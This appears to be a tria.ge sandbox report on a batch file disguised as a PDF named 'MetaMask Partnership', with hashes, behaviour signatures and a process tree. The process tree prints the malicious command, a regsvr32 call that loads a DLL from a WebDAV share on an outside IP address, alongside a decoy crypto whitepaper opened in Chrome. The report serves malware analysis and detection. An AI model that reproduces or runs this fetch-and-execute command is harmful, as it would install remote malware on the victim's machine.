Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
123s -
max time network
489s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
21/08/2023, 12:53
Static task
static1
Behavioral task
behavioral1
Sample
MetaMask Partnership.pdf.bat
Resource
win7-20230712-en
windows7-x64
7 signatures
600 seconds
Behavioral task
behavioral2
Sample
MetaMask Partnership.pdf.bat
Resource
win10-20230703-en
windows10-1703-x64
8 signatures
600 seconds
Behavioral task
behavioral3
Sample
MetaMask Partnership.pdf.bat
Resource
win10v2004-20230703-en
windows10-2004-x64
8 signatures
600 seconds
General
-
Target
MetaMask Partnership.pdf.bat
-
Size
157B
-
MD5
6a03d15802a8d61952739fcb12264885
-
SHA1
9f3029848c534f9cbf99b379397280327ab1461b
-
SHA256
5bd3be9405819229934a4acbb06904937e53ec13e5b87736478031d2c6d38c1f
-
SHA512
55dff3b6b9858c79ffae99b03e434baf93dcbb5c47430608c840ad3a3b9c0523eda82c0774bbe1856c2e48665172373591277d894914118350af8bf25f87ea9b
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2076 regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe Token: SeShutdownPrivilege 332 chrome.exe -
Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe -
Suspicious use of SendNotifyMessage 32 IoCs
pid Process 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe 332 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2504 wrote to memory of 2076 2504 cmd.exe 29 PID 2504 wrote to memory of 2076 2504 cmd.exe 29 PID 2504 wrote to memory of 2076 2504 cmd.exe 29 PID 2504 wrote to memory of 2076 2504 cmd.exe 29 PID 2504 wrote to memory of 2076 2504 cmd.exe 29 PID 2504 wrote to memory of 2076 2504 cmd.exe 29 PID 2504 wrote to memory of 2076 2504 cmd.exe 29 PID 2504 wrote to memory of 332 2504 cmd.exe 30 PID 2504 wrote to memory of 332 2504 cmd.exe 30 PID 2504 wrote to memory of 332 2504 cmd.exe 30 PID 332 wrote to memory of 2932 332 chrome.exe 31 PID 332 wrote to memory of 2932 332 chrome.exe 31 PID 332 wrote to memory of 2932 332 chrome.exe 31 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2428 332 chrome.exe 33 PID 332 wrote to memory of 2120 332 chrome.exe 34 PID 332 wrote to memory of 2120 332 chrome.exe 34 PID 332 wrote to memory of 2120 332 chrome.exe 34 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35 PID 332 wrote to memory of 1440 332 chrome.exe 35
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\MetaMask Partnership.pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Windows\SysWoW64\regsvr32.exeC:\Windows\SysWoW64\regsvr32.exe \\139.99.32.95@8000\DavWWWRoot\1.dll2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.exodus.com/assets/docs/binance-coin-whitepaper.pdf2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:332 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6899758,0x7fef6899768,0x7fef68997783⤵PID:2932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1144 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:23⤵PID:2428
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:83⤵PID:2120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1580 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:83⤵PID:1440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2360 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:13⤵PID:2116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2344 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:13⤵PID:2108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1468 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:23⤵PID:2600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3296 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:13⤵PID:2556
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --pdf-renderer --disable-gpu-compositing --lang=en-US --js-flags=--jitless --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3528 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:13⤵PID:1908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3856 --field-trial-handle=1268,i,4646151675712498175,13504306980220417712,131072 /prefetch:83⤵PID:1888
-
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:1748
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD565c8c8033cdec02615cce00306698acb
SHA1e07d64598ac42f5c880283f765b2cc179a4a55f1
SHA2567854f7385f1c004e17f2294ac9d39a0cbe27b0197bcacb8fcada5df2c49ca074
SHA5121b2bb27771fa5acc107ccde106efbe4b89a6018687b21666f5c8c8dda5f67d35fc5b2b4ec14c0a7dcee9363ac0f26482894dd2d5f0be18c4374d3b773048f7be
-
Filesize
5KB
MD519c503e06667817c44fa2bf73d8515b5
SHA10a16bd0405668ade097bf34ffb89b1a39d3193db
SHA2563ce1977689d6d2b966fb9b5906f4f63a183980a1fcbbfa8f00f7f33504075a31
SHA5127c3ff9b1491fc39f4a9eda6582e801907a452c885336b9139da9392860d0df1e7d8247ae9c12441b07677382deb01e27986ebaf5267b29940307b9c6edaa4e45
-
Filesize
16B
MD518e723571b00fb1694a3bad6c78e4054
SHA1afcc0ef32d46fe59e0483f9a3c891d3034d12f32
SHA2568af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
SHA51243bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2
-
Filesize
264KB
MD5f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58